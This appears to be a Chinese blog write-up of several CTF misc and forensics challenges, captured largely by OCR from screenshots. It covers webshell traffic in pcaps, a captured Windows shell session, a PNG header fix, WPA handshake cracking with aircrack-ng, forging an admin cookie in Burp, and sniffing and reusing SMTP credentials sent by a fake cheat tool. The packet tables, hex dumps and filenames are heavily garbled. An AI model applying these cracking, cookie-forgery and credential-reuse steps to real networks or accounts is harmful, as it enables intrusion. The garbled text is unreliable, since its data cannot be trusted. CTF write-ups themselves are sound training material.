	6 0.184732	192.168.1.145	10.2	分组注释	Ctrl+Alt+C) 80 → 49366 [ACK] Seq=1 Ack=3	301 Wi…	sql/	2015-06-	08 00:45:44 0	0777			
	7 0.184733	192.168.1.145	10.2	1015474CAA-1750) 80 → 49366 [ACK] Seq=1 Ack=1	1075 W	sql1/	2015-12-	30 08:06:54 0	0///			
	8 0.576742	192.168.1.145	10.2	湖田和月月中旬7日37日1月		1 80 → 49366 [PSH, ACK] Seq=1	Ack=1	up/	2015-00-	08 00:36:02 0	0777			
	9 0.576743	192.168.1.145	10.2	作为过滤器应用	+) HTTP/1.1 200 OK (text/html))	wcms/	2016-01-	17 05:56:46 0	0777			
1	10 0.576788	10.211.55.61	192.	准备过滤器	•	↓ 49366 → 80 [ACK] Seq=1075 Ac	ck=174	webshop5	/ 2015-06-	08 08:04:59 0	0777			
1	11 5.907540	192.168.1.145	10.2	对话过滤器	•) 80 → 49366 [FIN, ACK] Seq=17	747 Ac	XiaoCms_	20140710/	2015-06-03 11:	53:31 0	0777		
1	12 5.907578	10.211.55.61	192.	对话着色	•	49366 → 80 [ACK] Seq=1075 Ac	ck=174	xss/	2016-01-	28 06:48:07 0	0777			
1	13 20.221309	10.211.55.61	192.	SCTP	•	49366 → 80 [FIN, ACK] Seq=10	075 Ac	2/	2015-06-0	03 11:53:31 0	0///			
L 1	14 20.221472	192.168.1.145	10.2	追踪流	•	1 80 → 49366 [ACK] Seq=1748 Ac	ck=107	1.pnp 3.php	2010-01-	20 00:54:40 1740 01 03:36:25 27	0000			
					TCP流			flag.tar	.ez	2016-06-27 08:4	45:38 203	0666		
				复制	•			log.txt	2015-06-	03 12:18:46 1502	0666			
				协议首选项	+			news.asp	2014-06-	27 03:44:24 365	0666			
				解码为(A)				SaveFile	.asp	2014-06-27 05:	45:08 822	0666		
				在新窗口显示分组(W)				testNull	.php	2014-07-17 08:0	06:14 16	0666		
			_			1		webshell	nhn	2014-06-27 05:	27:40 304 52:36 18	0666		
								xiaoma.a	sp:.ipg	2014-07-04 08:	17:18 1312	0666		
								txt	2014-07-	08 03:06:16 92	0666			
> Frame	e 1: 66 bytes o	on wire (528 bits),	66 bytes c	aptured (528 bits)	on interface	0		X@Y						
> Ether	rnet II, Src: A	Parallel_f4:84:6c (00:1c:42:f4	:84:6c), Dst: Paral	llel_00:00:18	(00:1c:42:00:00:18)								~
> Inter	net Protocol \	Version 4, Src: 10.	211.55.61,	Dst: 192.168.1.145				4 等户端 分组。	5 服务器 分组。	3 turn(s).				
> Trans	smission Contro	ol Protocol, Src Po	rt: 49366,	Dst Port: 80, Seq:	0, Len: 0			Entire conv	ersation (2820) bytes)	•	显示和保存数据为 ASC	TI T	流 0 😫
0000	00 1c 42 00 00	18 00 1c 42 f4 84	6c 08 00 4	5 00 ··B···· B·	1E.		^	查找:					查找	(五一小(五)
0 7	caidao. pcapng				分组	: 33 · 已显示: 14 (42.4%) Profile: 1	Default			滤掉此流 打印	Save as	plogesch nci	selq_89	Help

使用binwalk提取

root@kali:~/桌面# binwalk caidao.pcapng

root@kali:~/桌 caidao.pcapng root@kali:~/桌	面# ls 面# binwalk	-e caidao.pcap	2 ng (1) flag		Q ==
DECIMAL	HEXADECIMAL		DN		
7747 16-06-27 08:44	0x1E43 4:39	gzip compr fr Home	essed data	a, from Unix	, last modified: 20
<mark>root@kali:~/桌</mark> caidao.pcapng	面# ls _caidao.pca	■ 桌面 png.extracted	https:/	//blog.csdr	n.net/qq_39629343

然后打开_caidao.pcapng.extracted 里面有一个压缩文件,解压得到flag.txt

×
• •
9343

13.这么多数据包 CTF.pcapng.zip

提示: 这么多数据包找找吧,先找到getshell的流

刚开始一点一点看包,发现没有什么太有用的信息,从104行开始发现大量404,每个端口还不一样,就是说在进行端口扫描,提示 是先找到getshell流,猜想最后肯定是getshell了,从最后一条往前翻,然后追踪流,找到了一个txt文件

No.	Tine	Source	Destination	Protocol	Length Info	
	5574 407,125895	192,168,116,138	192.168.116.159	TCP	106 35880	10 → 1234 [PSH, ACK] Seg=24 Ack=822 Win=32768 Len=40 TSval=1675025 TSecr=30150
	5575 407.179724	192.168.116.159	192.168.116.138	TCP	107 1234	→ 35880 [PSH, ACK] Seg=822 Ack=64 Win=64177 Len=41 TSval=30581 TSecr=1675025
	5576 407.179800	192.168.116.138	192.168.116.159	TCP	66 35880	10 → 1234 [ACK] Seg=64 Ack=863 Win=32768 Len=0 TSval=1675039 TSecr=30581
	5604 416.358405	192.168.116.138	192.168.116.159	TCP	67 35880	10 → 1234 [PSH, ACK] Seq=64 Ack=863 Win=32768 Len=1 TSval=1677335 TSecr=30581
	5605 416.500475	192.168.116.159	192.168.116.138	TCP	66 1234	→ 35880 [ACK] Seq=863 Ack=65 Win=64176 Len=0 TSval=30674 TSecr=1677335
	5606 416.549906	192.168.116.138	192.168.116.159	TCP	67 35880	0 → 1234 [PSH, ACK] Seq=65 Ack=863 Win=32768 Len=1 TSval=1677383 TSecr=30674
	5607 416.720092	192.168.116.159	192.168.116.138	TCP	66 1234	→ 35880 [ACK] Seq=863 Ack=66 Win=64175 Len=0 TSval=30676 TSecr=1677383
	5608 416.742003	192.168.116.138	192.168.116.159	TCP	67 35880	0 → 1234 [PSH, ACK] Seq=66 Ack=863 Win=32768 Len=1 TSval=1677431 TSecr=30676
	5609 416.939262	192.168.116.159	192.168.116.138	TCP	66 1234	→ 35880 [ACK] Seq=863 Ack=67 Win=64174 Len=0 TSval=30678 TSecr=1677431
	5610 416.941946	192.168.116.138	192.168.116.159	TCP	67 35886	10 → 1234 [PSH, ACK] Seq=67 Ack=863 Win=32768 Len=1 TSval=1677481 TSecr=30678
	5611 417 158669	192 168 116 159	192 168 116 138	ТСР	66 1234	→ 35880 [ACK] Seq=863 Ack=68 Win=64173 Len=0 TSval=30680 TSecr=1677481
	5616 418.919245	192.168.116.138	192.168.116.159	TCP	66 35880	0 → 1234 [FIN, ACK] Seq=68 Ack=863 Win=32768 Len=0 TSval=1677975 TSecr=30680
	5617 418.919372	192.168.116.159	192.168.116.138	TCP	66 1234	→ 35880 [ACK] Seq=863 Ack=69 Win=64173 Len=0 TSval=30698 TSecr=1677975
~	5618 418.920687	192.168.116.159	192.168.116.138	TCP	66 1234	→ 35880 [FIN, ACK] Seq=863 Ack=69 Win=64173 Len=0 TSval=30698 TSecr=1677975
	5619 418.920758	192.168.116.138	192.168.11 152		0-1-14	→ 1234 [ACK] Seq=69 Ack=864 Win=32768 Len=0 TSval=1677975 TSecr=30698
				510/4以肩(510 538(IVI)	Ctri+ivi	
>	Frame 5619: 66 byte	s on wire (528 bits)	, 66 bytes ca 🕺	《略/取)肩忽略 分组(1)	Ctrl+D	
>	Ethernet II, Src: V	mware_ca:16:94 (00:0	c:29:ca:16:94 🏾 🕸	设置/取消设置 时间参考	Ctrl+T	2:1f:55)
>	Internet Protocol V	ersion 4, Src: 192.1	.68.116.138, 🕻 🖻	打间平移	Ctrl+Shift+T	
>	Transmission Contro	l Protocol, Src Port	:: 35880, Dst 🔗	治组注释	Ctrl+Alt+C	0
				制编解析的名称		
			ſ	[为过滤器应用	•	
				#备讨滤器	•	
			7	北东江海關	•	
			~			
			x	の方向		
			 `			- vir ficknesses/-
00	00 00 0c 29 62 1f	55 00 0c 29 ca 16 9	4 08 00 45 0	目示が、	•	
	🖉 CTF. pcapng		5	見制	•	分組: 5816 · 已显示: 33 (0.6%) / DIOS. CSCIL. He Frofile: Default)

```
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\>ls
ls
'ls' is not recognized as an internal or external command,
operable program or batch file.
C:\>dir
dir
Volume in drive C has no label.
Volume Serial Number is B03C-791A
Directory of C:\
04/14/2016 08:50 PM
                                   Ø AUTOEXEC.BAT
04/14/2016 08:50 PM
                                   0 CONFIG.SYS
04/14/2016 08:52 PM
                       <DIR>
                                   Documents and Settings
03/12/2012 10:24 PM
                              61,454 nc.exe
04/14/2016 08:54 PM
                                    Program Files
                       <DIR>
04/14/2016 09:22 PM
                                  36 s4cr4t.txt
04/14/2016 08:59 PM <DIR>
                                    WINDOWS
              4 File(s)
                               61,490 bytes
              3 Dir(s) 17,719,083,008 bytes free
C:\>type s4cr4t.txt
type s4cr4t.txt
QC Rntkb 5b3VfbG1 V92 1mZmVyfQ==
C:\>shutdown -r -t 100 -m "Stupid Manager!"
shutdown -r -t 100 -m "Stupid Mahagep!"//blog.csdn.net/qq_39629343
```

将base64解密就得到flag了

14.隐写3 58d54bd3e134e.zip

解压看到一个大白的图片,感觉下半身被截断了呀,然后把图片放到winhex中,发现了IHDR头,后面八个字节代表宽高,宽和 高分别占4个byte,那就老套路,将高改成宽的值

Offset	0	1	2	3	4	5	6	7	8	9	A	В	С	D	Е	F	ANSI ASCII
00000000	89	50	4E	47	0D	0A	1A	0A	00	00	00	0D	49	48	44	52	%PNG IHDR
00000010	00	00	02	Α7	00	00	02	A7	08	06	00	00	00	6D	7C	71	S S m q
00000020	35	00	00	00	01	73	52	47	42	00	AE	CE	1C	E9	00	00	5 sRGB ®Î é
00000030	00	04	67	41	4D	41	00	00	B1	8F	0B	FC	61	05	00	00	gAMA ± üa
00000040	00	09	70	48	59	73	00	00	0E	C4	00	00	0E	C4	01	95	pHYs Ä Ä•
00000050	2B	0E	1B	00	00	FF	A 5	49	44	41	54	78	5E	EC	BD	07	+ ÿ¥IDATx^ì∺
00000060	A 0	Α5	57	59	EE	FF	EE	BE	4F	9B	DE	93	4C	7A	0F	84	¥WYîÿî¾O>Þ"Lz "
00000070	24	24	60	0C	04	A 5	2B	20	45	10	10	BB	88	8A	A 8	57	\$\$`¥+E »^Š"W
00000080	BD	FC	EF	BD	7A	F5	5A	AE	7A	BD	5E	CB	BD	2A	62	05	₩üï₩zõZ©z₩^Ë₩*b
00000090	04	69	52	04	E9	01	42	48	48	42	7A	EF	7D	52	Α6	CF	iR é BHHBzï}R¦Ï
000000A0	9C	7E	76	FD	ЗF	BF	F7	DB	EF	39	6B	76	F6	4C	26	C9	œ~vý?¿÷Ûï9kvöL&É
000000B0	4C	32	E5	7B	CE	59	7B	F5	DE	9E	6F	7D	6B	AD	AF	D0	L2å{ÎY{õÞžo}k- Đ
00000000	15	2C	47	8E	1C	39	72	1C	90	60	88	2E	14	0A	ЗD	DD	,GŽ 9r `^. =Ý
00000D0	DE	63	6F	FD	A5	53	C0	93	8D	Α7	D3	E9	F4	54	66	C5	₽coý¥SÀ" §ÓéôTfÅ
000000E0	62	D1	E5	34	BC	34	0D	AD	56	СВ	1A	8D	86	35	9B	4D	bÑå4444 –VË †5>M
000000F0	17	B 3	B3	B 3	36	37	37	E7	72	98	21	70	87	DC	6E	B7	³³³677çr~!p≠Ün∙
00000100	ЗD	FC	90	01	E1	11	0F	61	22	CA	E5	B2	8B	4A	A 5	62	=ü á a"Êå⁴∢J¥b
00000110	A 5	52	C9	D5	B5	5A	CD	AA	D5	AA	СВ	88	7A	BD	EE	22	¥RÉÕµZͪժË^z≒î"
00000120	DC	45	ЗA	FΒ	11	E9	24	3E	80	1E	B7	91	87	34	2F	81	ÜE:û é\$>€ ` ` ‡4/
00000130	30	8B	F4	A1	DE	9D	DB	7E	F4	BB	D9	1B	ЗF	39	72	1C	0<ô;₽ Û~ô»Ù ?9r
00000140	0E	D8	3E	D9	Β4	9C	9C	E6	C8	91	23	C7	41	8C	18	C2	Ø>Ù´œœæÈ `# ÇAOEÂ
00000150	FB	89	4D	6A	9E	12	1F	D4	88	7E	32	99	CA	B8	1D	14	û‰Mjž Ô^~2™Ê,
00000160	5E	6A	D6	6F	0F	A1	1C	1F	1F	B7	6D	DB	B6	D9	8E	1D	^jÖo ; ∙mÛ¶ŪŽ
00000170	3B	6C	E7	CE	9D	2E	63	36	3D	ЗD	6D	93	93	93	2E	26	;lçÎ .c6==m""".&
00000180	26	26	9C	90	4E	4D	4D	CD	93	53	08	21	E1	47	1C	91	۵۵ NMMÍ"S !áG ۱
00000190	16	D4	29	31	45	40	42	43	1F	72	10	D6	C8	13	6A	80	Ô)1E@BC r ÖÈ j
000001A0	E9	C8	C8	88	13	D4	E1	E1	61	5B	BC	78	B1	9B	2D	5A	éÈÈ^ Ôááa[¼x±>−Z
000001B0	B4	C8	C6	C6	C6	5C	3F	ЗA	ЗA	EA	F2	F2	E5	СВ	6D	D9	´ÈÆÆÆ∖?::êòòåËmÙ
000001C0	B2	65	EE	1E	12	3B	08	FD	Fl	01	D2	16	E9	45	44	1A	°eî ; ýñ Ò éED
000001D0	30	47	0E	ЗF	20	DC	F5	BB	OF	3B	10	E1	85	3E	47	8E	0G ? Üõ» ; á…>GŽ
000001E0	C3	11	39	39	CD	91	23	47	8E	83	10	29	B1	49	D5	20	Ăt991 *6262±00 43
D 1 -6 204								00	. .							17	

另存为,然后得到flag

15.做个游戏(08067CTF) heiheihei.jar

放到jd-gui中得到java源码,审计代码,然后发现了flag,不过是base64加过密的



然后自己解密即可

16.想蹭网先解开密码 wifi.cap

flag格式: flag{你破解的WiFi密码}

tips: 密码为手机号,为了不为难你,大佬特地让我悄悄地把前七位告诉你

1391040**

Goodluck!!

首先放到wireshark查找,发现很多802.11协议,然后百度了一下802.11具体是啥,然后wifi认证的话重点是在WPA的四次握手,也就是eapol协议的包,使用规则过滤

	wifi.cap						- 🗆 X
Ż	(件(E) 编辑(E)	视图(⊻)	跳转(G) 捕获(C) 分析(A) 统计(S) 电话(Y) 无线	线(W) 工具(T) 帮助(H)		
4		- 🗈 🗙	🖸 । ९ 👄 🔿 😨 👔	🎍 📃 🔳 🍳 🍳 🔍	壅		
	eapol						🛛 🗔 💌 表达式 🔸
No	Time		Source	Destination	Protocol	Length Info	
	3066 45.1	38762	D-LinkIn_9e:4e:a	a3 LiteonTe_68:5f	F:7c EAPOL	155 Key (Message 1 of 4)	
	3068 45.1	54148	LiteonTe_68:5f:7	<pre>7c D-LinkIn_9e:4e</pre>	e:a3 EAPOL	155 Key (Message 2 of 4)	
	3070 45.1	68458	D-LinkIn_9e:4e:a	a3 LiteonTe_68:5f	F:7c EAPOL	213 Key (Message 3 of 4)	
	3072 45.1	95620	LiteonTe_68:5f:7	<pre>/c D-LinkIn_9e:4e</pre>	e:a3 EAPOL	133 Key (Message 4 of 4)	https://blog.csdn.net/qq_39629343

使用python编写生成一个字典, 然后将字典和流量包放到kali中

Python代码:



f.close

使用aircrack-ng跑一下

.cap -w wordlist.txt	
Encryptio	n
No data -	WEP or WPA
ST None (10.	2.28.31)
IR-600A WPA (1 ha	ndshake)
3	
	.cap -w wordlist.txt Encryption No data - ST None (10.3 IR-600A WPA (1 hau 3

					Aj	ircı	racl	<-no	, 1.	.2 1	rc4								
[00:00:06] 7688/9999 keys tested (1150.20 k/s)																			
Time left: 2 seconds												76.89%							
			KE١	f FC	DUNE	D!	[13	3910	940.	-	5]								
Master Key		C4 0B	60 E1	FE CD	8B 81	14 07	7D F8	58 28	00 DB	91 EA	D7 76	0A 1E	9C ED	3C 81	DE A3	44 FF	69 FD		
Transient Key		0D F5 D3 1F	88 23 62 CE	B3 8E CD	F4 0B DD 62	BC 7A 4D 38	A3 9F 87 3C	C9 25 80	D2 59 EE 35	06 E9 B9 34	12 7C E1	28 86 16 FB	43 1E 91 16	FF 7A 4A 31	5E 78 6E 08	21 E4 3E	3E D4 09 96		
EAPOL HMAC	:	10	E7	D0	96	DE	87	93 ¹	¹ 5 ¹ 6 ^p	88	íb	1 ₀₈₅	C85	sga.	ÅÆ	њ ВЗ ^с	180 ³	9629	9343

17.Linux2 brave.zip

给你点提示吧: key的格式是KEY{}

题目地址: 链接: http://pan.baidu.com/s/1skJ6t7R 密码: s7jy

用Notepad++打开发现里面有很多文件一样的东西,改后缀为.zip 然后使用7zip解压,在[SYS]文件夹中发现了Journal文件,使用Notepad++打开,有很多不同类型的文件,尝试提取没有成功

🔚 Journal 🗵

1	? 9 ? NUBNUBEOTNUBNUBNUBNUBNUBNUBEOTNUBNUBEOTNUBNUBNUBNUBNUBNUBNUBNUBNUBNUBNUBNUBNUBN
2	SOH3av9EmKHP.JPGNUBNUBNUBNUB?WSOHBUW7N6C.JPGNUBNUBNUBNUBNUBNUBNUBNUBNUBNUBNUBNUBNUBN
3	NUESTXNUENUENUENUENUENUENUESONUENUENUENUENUENUENUENUENUENUENUENUENUEN
4	STXsiFH0M2VghNULNUL?NULNULBIBNULBSSTXwmDKAM.1?NULNULCANNULSOSOH8TJQOIR.CO.JPGNULNUL?NULNULSOSOHXHjp03s8ds.JPGNULNUL?
5	Nulhulloc2
6	NULNULDCB
7	ungungungungungungungungungungungungungu
8	
9	uaruanaranguaranguaranguaranguaranguaranguaranguaranguaranguaranguaranganguaranguaranguaranguaranguaranguarangu
10	SOHJNfaedsDS.JPGNUENUE?NUENUE?
11	SOHJIMIFP4tb.JPGNULNULNULNULNULNULNULNULNULNULNULNULNULN
12	NUKNUKNUKNUKNUKNUKNUKNUKNUKNUKNUKNUKNUKN
13	
14	7 NUJNUJSO 7 NUJNUJSI 7 NUJNUJDJ3 7 NUJNUJDCI 7 NUJNUJDC3 7 NUJNUJDC3 7 NUJNUJNUJNUJNUJNUJNUJNUJNUJNUJNUJNUJNUJN
15	
16	NUDRUDR
17	
18	
19	
20	
21	
22	
23	
24	
20	
20	
21	
20	
30	
31	
91	

最后发现在解压文件中还有一个brave文件,使用txt打开,Ctrl+F关键字查找,得到flag

i.

旑□(洸r]鬋I mł ;?焇 ?□?樁閒;€揩K□b洸	查找			7uH茎1傷<=nN現圣-□T架動罕?#燦*語S□0側 R次∫滵p+欣訣???刘灏咄xP蔴x梢嫁l6 ?(奟),i□□@揠」7/?J€□渂闄?忪閱jQ□'沟P€K視戜□魑 w駗G猉d揩Cp5c炸醫?€掬庽#,??N6d?1冦嗵辿踪□@鹓?炕∩U鉩!□粂wT2捂b朆i□檸坡★@閭s?麦t繡N 龠?.?Xa□?碂?♂常爺馅預登&仫渘恷0iK鍑:
	查找内容(N): key		查找下一个旧	
.? □□ qHoxem ? □:	区分大小写(C)	方向 〇向上(U) ④向下(D)	取消	

□~?:YsW井嘉稼+業督'WP爆v级be?r□>椠澂}e硒礽?F3唻?纔伻□鵙卑________蘸碗玩界?饴嶁Q茳營潔□品口.墨*=~o胲祶,则?Or~)?津鴠z>/9?答*□Bi歸4□萲挵(發?r□Yj1Y第~□5)新□药腿&夢 p?z噟n醈w□貧*>I^?eu?i持^□ □s?Qy 诤<tt [ま?貸沂岣/Δ·□9/O乾O騎衛/楊泱U529夢◆€ 浸霍□)^廝打詶偉M2萬順 偏振6載D□G)&?? (知顧<~□□3勁新戶(?%試L亞Ph4BUM軍最 □禕,□9xD05^)□Ew/廚壽曇 ???g □? 5醛????狱12?c≠\3盤S欖 Llg;莳笲掀豼截rsc?变□?拧Q霆?v[spf] 幼F/T□奮9抱烃?/□竹魑破皷□6□?汛□哟□悸□?r]?⑷□隍h姕Z図*★T?□陈??饰荪?□?e瀱p猲*渶鰫酮g崆4 \$??□??[續\$vG鉗2葛舟?8thHN現繡暢紙獵珥杌??绞脳益(洎?壮極刻芭葷xq韓N]?ykf 'h媔■蠏[湯,?6K^鞣弱).7(□? 鉄咸核□(朳)形3萬缘 (1)

https://blog.csdn.net/qq 39629343

18.账号被盗了

访问链接,使用burpsuite抓包,修改Cookie,右键->Send to Repeater->go

🛐 Burp Suite Free Edition v1.7.03 - Temporary Project		- 🗆 ×
Burp Intruder Repeater Window Help		
Target Proxy Spider Scanner Intruder Repeater Sequencer Decoder Compa	parer Extender Project options User options Alerts	
1 ×		
Go Cancel <td>Target:</td> <td>http://120.24.86.145:9001 🖉 🕐</td>	Target:	http://120.24.86.145:9001 🖉 🕐
Request	Response	
Raw Params Headers Hex	Raw Headers Hex HTML Render	
<pre>POST //cookieflag.php HTTP/1.1 Host: 120.24.85.1455901 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh=CN,zh:q=0.8,en=U5;q=0.5,en;q=0.3 Accept-Encoding: gsip, deflate Referer: htp://120.24.86.14559001/ Cookie: Loginld*aamaaaz[IsadMin*crue Connection: close Upgrade-Insecute-Requests: 1 Content-Type: application/x*www-form-urlswoded Content-Length: 0</pre>	Content-Type: text/html Connection: close Content-Length: 366 <html> <html> <html> ispan { display: block; margin: auto; height: 25px; text-align: center; font-size: 36px; } <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head> <head <head> <head <head> <head <head> <head <head> <head> <head <head> <head <head>head >head >head</head></head </head></head </head></head></head </head></head </head></head </head></head </head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></head></html></html></html>	•
? + > Type a search term 0 matches	? < + > Type a search term	0 matches
Done		g. csdn. net/502 bytes 56 millis

将123.exe下载下来,打开是一个CF刷枪软件

🐨 CF刷枪精灵-英雄级武器	(狂刷版) 1.1.0 \	/	0		
					
AK47-麒麟 [AK47-火麒麟]		RPK-盘龙 M4A	「黑兀」	M4A1-雷神	
-					
			TTT .		
			-		1
	1	411			
本限力 後。		-ж. — л		_	
武香名称: 私生物際		双方的:		_	
著戏大区: 请选择游戏大区		戏密码:			
武器期限: 请选择武器期限	ps:/🗗log	;. c <mark>sdn.确认</mark>	提交う	62934	3

使用wireshark抓包,账号密码随便填写

	*以太网				– 🗆 X
文	件(F) 编辑(E) 视图(V)	跳转(G) 捕获(C) 分析(A)	统计(S) 电话(Y) 无线(W) 工具(T) 帮助(H)	
	🔳 🖉 💿 📙 🛅 🗙 🛛	Ġ । ९. 🗢 🗢 😤 🕢 🛓	📃 📃 0, 0, 0, 🎹		
Π	top				🛛 🗔 💌 表达式… 🛛 +
No.	Time	Source	Destination	Protocol Length Ind	20 × 1
	177 19.411438	163.177.72.176	10.203.87.147	TCP 66 25	→ 59657 [SYN, ACK] Seq=0 Ack=1 Win=5760 Len=0 MSS=1440 SACK_PERM=1 WS=128
	178 19.411484	10.203.87.147	163.177.72.176	TCP 54 59	657 → 25 [ACK] Seq=1 Ack=1 Win=66048 Len=0
	179 19.473992	163.177.72.176	10.203.87.147	SMTP 92 S:	220 smtp.qq.com Esmtp QQ Mail Server
	181 19.514214	10.203.87.147	163.177.72.176	TCP 54 59	657 → 25 [ACK] Seq=1 Ack=39 Win=66048 Len=0
	190 19.662159	10.203.87.147	163.177 70 176	(P/M) CHILIM	EHLO DESKTOP-V3FM06D
	199 19.724742	163.177.72.176	10.203.		→ 59657 [ACK] Seq=39 Ack=23 Win=5760 Len=0
	200 19.725724	163.177.72.176	10.203.: 泡晒/取角泡晒分	组(I) Ctrl+D	250 smtp.qq.com 250 PIPELINING 250 SIZE 73400320 250 STARTTLS 250 AUTH LOGIN PLAIN 250 AU
	201 19.766479	10.203.87.147	163.177 设置/取消设置 时	间参考 Ctrl+T	57 → 25 [ACK] Seq=23 Ack=175 Win=66048 Len=0
	203 19.975124	10.203.87.147	163.177 时间平移	Ctrl+Shift+T	AUTH LOGIN
	204 20.037822	163.177.72.176	10.203.: 分组注释	Ctrl+Alt+C	334 VXN1cm5hbWU6
	205 20.037909	10.203.87.147	163.177 (#####Cond?##		User: YmtjdGZ0ZXN0QDE2My5jb20=
	207 20.101133	163.177.72.176	10.203.: Hetalite (10) - 10.203		334 UGFzc3dvcmQ6
	208 20.101222	10.203.87.147	163.177 作为过滤器应用	•	Pass: YTEyMzQ1Ng==
	209 20.185530	163.177.72.176	10.203.: 准备过滤器	•	535 Error: \307\353\312\271\323\303\312\332\310\250\302\353\265\307\302\274\241\243\317\352\307\351
	210 20.185621	10.203.87.147	163.177 对话讨读器	•	QUIT
	211 20.248652	163.177.72.176	10.203.1 70注着角	,	221 Bye
	212 20.248767	10.203.87.147	163.177 SCTP		557 → 25 [FIN, ACK] Seq=81 Ack=329 Win=65792 Len=0
	213 20.248788	163.177.72.176	10.203.		→ 59657 [FIN, ACK] Seq=329 Ack=81 Win=5760 Len=0
	214 20.248802	10.203.87.147	163.177 1日4年元 1	自踪tcp流	457 → 25 [ACK] Seq=82 Ack=330 Win=65792 Len=0
	216 20.312643	163.177.72.176	10.203. 复制	•	→ 59657 [ACK] Seq=330 Ack=82 Win=5760 Len=0 https://blog.csdp.pot/og.39629343
_	261 26 591791	10 203 87 147	39 107		P Keen-Alive] 59653 → 80 [ACK] Sen=1 Ack=1 Win=251 Len=1 $(100000000000000000000000000000000000$

	文件(E)	编辑(E)	视图(⊻)	跳转(G)	捕获(<u>C</u>)	分析(A)	统计(S)	电话(Y)	无线(W)	工具(I)	帮助
--	-------	-------	-------	-------	----------------	-------	-------	-------	-------	-------	----

6	(🔳 🥂 🛞 📙 🔚 🗙	🖸 । ९ 🗢 🗢 😤 🚹) 📃 🗏 Q, Q, Q, 🛯	
	top.stream eq 5			A Wireshark · 追踪 TCP 流 (tcp.stream eq 5) · wireshark_B25EFTEB-34BB-4BD7-84 — 口 X
No	. Time	Source	Destination	220 cmtp ag com Ecmtp 00 Mail Senven
	176 19.348613	10.203.87.147	163.177.72.176	EHLO DESKTOP-V3EM06D
	177 19.411438	163.177.72.176	10.203.87.147	250-smtp.ag.com
Т	178 19.411484	10.203.87.147	163.177.72.176	250-PIPELINING
	179 19.473992	163.177.72.176	10.203.87.147	250-SIZE 73400320
	181 19.514214	10.203.87.147	163.177.72.176	250-STARTTLS
	190 19.662159	10.203.87.147	163.177.72.176	250-AUTH LOGIN PLAIN
	199 19.724742	163.177.72.176	10.203.87.147	250-AUTH=LOGIN
	200 19.725724	163.177.72.176	10.203.87.147	250-MAILCOMPRESS
	201 19.766479	10.203.87.147	163.177.72.176	
	203 19.975124	10.203.87.147	163.177.72.176	334 VXN1 cm5hbWU6
	204 20.037822	163.177.72.176	10.203.87.147	XmtjdGZ0ZXN00DE2My5jb20=
	205 20.037909	10.203.87.147	163.177.72.176	334 UGFzc3dvcmQ6
	207 20.101133	163.177.72.176	10.203.87.147	TEyMzQ1Ng==
	208 20.101222	10.203.87.147	163.177.72.176	535 Error:com/cgi-bin/
	209 20.185530	163.177.72.176	10.203.87.147	help?subtype=1&&id=28&&no=1001256
	210 20.185621	10.203.87.147	163.177.72.176	
	211 20.248652	163.177.72.176	10.203.87.147	ZZI Bye
	212 20.248767	10.203.87.147	163.177.72.176	
	213 20.248788	163.177.72.176	10.203.87.147	
	214 20.248802	10.203.87.147	163.177.72.176	
	216 20 312643	163 177 72 176	10 203 87 147	
>	Frame 190: 76 byte	s on wire (608 bits), 76 bytes captured	
>	Ethernet II, Src:	HewlettP_b1:b1:5c (:8:d3:ff:b1:b1:5c),	
>	Internet Protocol	Version 4, Src: 10.2	203.87.147, Dst: 16	
>	Transmission Contro	ol Protocol, Src Po	rt: 59657, Dst Port	
>	Simple Mail Transf	er Protocol		
0	000 00 10 00 15 40	bd c2 d2 ff b1 b1	Fc 08 00 45 00	1
0	000 UU IA A9 15 4e	DU CO 05 TT DI DI	JC 00 00 45 00 ·	分組 210. 8 客户端 分組, 7 原务器 分組, 13 turn(s). 点击选择。

220 smtp.qq.com Esmtp QQ Mail Server
EHLO DESKTOP-V3FM06D
250-smtp.qq.com
250-PIPELINING
250-SIZE 73400320
250-STARTTLS
250-AUTH LOGIN PLAIN
250-AUTH=LOGIN
250-MAILCOMPRESS
250 8BITMIME
AUTH LOGIN
334 VXNlcm5hbWU6
YmtjdGZ0ZXN0QDE2My5jb20=
334 UGFzc3dvcmQ6
YTEyMzQ1Ng==
535 Error:subtype=1&&id=28&&no=1001256
QUIT
221 By

账号: YmtjdGZ0ZXN0QDE2My5jb20=

密码: YTEyMzQ1Ng==

将base64解密得到163邮箱,将密码解密是a123456,登录邮箱就可得到flag,这道题出的很有意思。



19.细心的大象 1.jpg.zip

flag格式 flag{xxx_xxx_xxx}

解压得到 1.jpg 图片

查看属性,发现有一段base64加密内容

🖬 1.јр	g 属性	×
常规	安全	详细信息 以前的版本
属性	ŧ	值 ^
说	明	·
标题	Ō	出题人已经跑路了
主題	Ō	出题人已经跑路了
分组	ß	***
标道	8	
备注	È	TVNEUzQ1NkFTRDEyM3p6
来	源——	
作書	Ě.	Bugku
拍摄	長日期	2017/8/10 11:53
<世	名称	sagit-user 7.1.1 NMF26X V8.2.26.0.NC
获取	口期	
